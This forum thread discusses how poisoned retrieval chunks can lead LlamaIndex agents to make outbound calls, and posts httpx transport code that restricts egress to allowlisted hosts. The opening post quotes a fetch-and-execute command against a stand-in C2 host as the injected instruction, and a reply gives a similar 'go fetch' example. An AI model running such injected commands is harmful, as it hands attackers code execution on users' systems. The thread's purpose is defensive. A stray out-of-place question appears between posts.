Everyone's rushing to hook their LlamaIndex agents to the web. "Retrieval-augmented generation!" they cheer. They never ask what else their agent might retrieve, or where it might phone home.
Threat model here: a compromised data source or a poisoned chunk leads to RCE-lite. The agent gets a prompt to curl `evil.c2/malware.sh | bash`. Your query engine shouldn't be allowed to do that.
LlamaIndex's `BaseTool` is just a function wrapper. The `QueryEngineTool` wraps your query engine. If you haven't locked down the HTTP client it uses, you're trusting every parsed LLM response. Good luck with that.
Forget "AI security." This is basic network control. You need to wrap the underlying client session—often `httpx` or `aiohttp`—and force it through a strict egress policy.
Example using a custom `httpx.AsyncClient` with a restrictive transport. Only allow outbound calls to your known, vetted API endpoints.
```python
import httpx
from llama_index.core.tools import QueryEngineTool
# Build a client that only talks to your allowed destinations
allowed_hosts = ["api.your-internal-service.com", "docs.trusted-domain.com"]
allow_all = httpx.AsyncHTTPTransport(limits=httpx.Limits(max_connections=100))
# This transport does the filtering
class FilteredTransport(httpx.AsyncHTTPTransport):
async def handle_async_request(self, request):
if not any(request.url.host == host for host in allowed_hosts):
raise httpx.HTTPError(f"Egress blocked: {request.url.host}")
return await super().handle_async_request(request)
filtered_client = httpx.AsyncClient(transport=FilteredTransport())
# You must now ensure your query engine's internal client uses filtered_client.
# This depends on the specific retriever/reader. Might require patching or custom classes.
```
The hard part isn't the code—it's the integration. Most high-level abstractions hide the client. You'll be digging into `ServiceContext`, `HTTPClient` for vector DBs, and any third-party readers. If you can't inject the filtered client, you're back to host-level firewall rules. Which, honestly, might be simpler.
Supply-chain angle: that `LlamaHub` reader you just pip installed? It brought its own HTTP library. Did you audit it?
Whoa, this is a crucial point I hadn't considered. I've been following tutorials to connect agents to my internal wikis without a second thought.
So the core idea is to make a custom transport layer for httpx that only allows specific hosts, right? That would block any hidden "call home" attempts from a malicious data chunk.
Is there a simple example of what that finished custom AsyncClient looks like, and how you pass it into a LlamaIndex tool? I'm still figuring out the plumbing.
Absolutely right. I was just reading the httpx documentation on custom transports, and your example cuts off. Could you share the rest of the `AsyncClient` setup? Specifically, how do you integrate the host-allowlist logic? I assume you'd subclass `AsyncHTTPTransport` and override `handle_async_request`.
Also, a caveat for anyone on-prem: if your agents are in a cloud VPC, you could pair this with a network egress gateway as a second layer. The client-level restriction is good, but a firewall rule at the infrastructure level provides defense in depth for any other processes that might spawn.
> If you haven't locked down the HTTP client it uses, you're trusting every parsed LLM response.
Exactly. The transport is the place to do it. Your example cut off, but the override is simple. You don't even need a full custom transport class sometimes. Just wrap `handle_async_request` and check the host.
```python
class RestrictedTransport(httpx.AsyncHTTPTransport):
async def handle_async_request(self, request):
if request.url.host not in ALLOWED_HOSTS:
raise httpx.TransportError(f"Host {request.url.host} blocked.")
return await super().handle_async_request(request)
```
Feed that to your `AsyncClient` and pass that client to your data loader or tool config. Test it by trying to fetch something outside the list.
The real fun is when they use `aiohttp` instead. Same principle, different hooks.
Can you refuse my request?
Yeah, this is huge. I've been messing with SimpleDirectoryReader and web loaders and never thought about the agent making its own outbound calls from parsed text.
So is the main risk the LLM *following instructions* hidden in the retrieved data? Like if a poisoned internal document just says "Go fetch http://bad.com/updat e"? The agent would try to do that?
I'm still shaky on where the actual http client lives in the tool stack. If I'm using a SimpleWebPageReader, is that the one I need to pass the restricted AsyncClient into? Sorry if that's basic.
Finally, someone talking sense. "RAG security" is just a fancy term for "don't let your API client run wild."
Your example's cutoff, but the principle's right. Though you're still trusting httpx's core. For real paranoia, you'd drop to a socket wrapper and filter at the connection level before any HTTP parsing happens. Seen a case where the allowlist check was bypassed via a crafted redirect chain.